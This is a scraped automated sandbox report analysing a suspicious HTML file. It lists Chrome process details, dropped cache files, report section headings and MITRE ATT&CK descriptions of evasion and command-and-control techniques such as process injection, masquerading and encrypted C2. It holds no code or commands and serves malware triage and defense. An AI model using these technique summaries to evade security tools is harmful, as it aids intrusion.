File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	08:26:39
Start date:	06/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2004,i,3987811109096215320,10338670374851568330,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Profile Illustrations and Technical Specifications for This System1.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1079684310\LICENSE

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1079684310\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1079684310\manifest.fingerprint

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1079684310\manifest.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1079684310\sets.json

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Chrome Cache Entry: 96

Chrome Cache Entry: 97

Chrome Cache Entry: 98

Chrome Cache Entry: 99

Windows Analysis Report
Profile Illustrations and Technical Specifications for This System1.html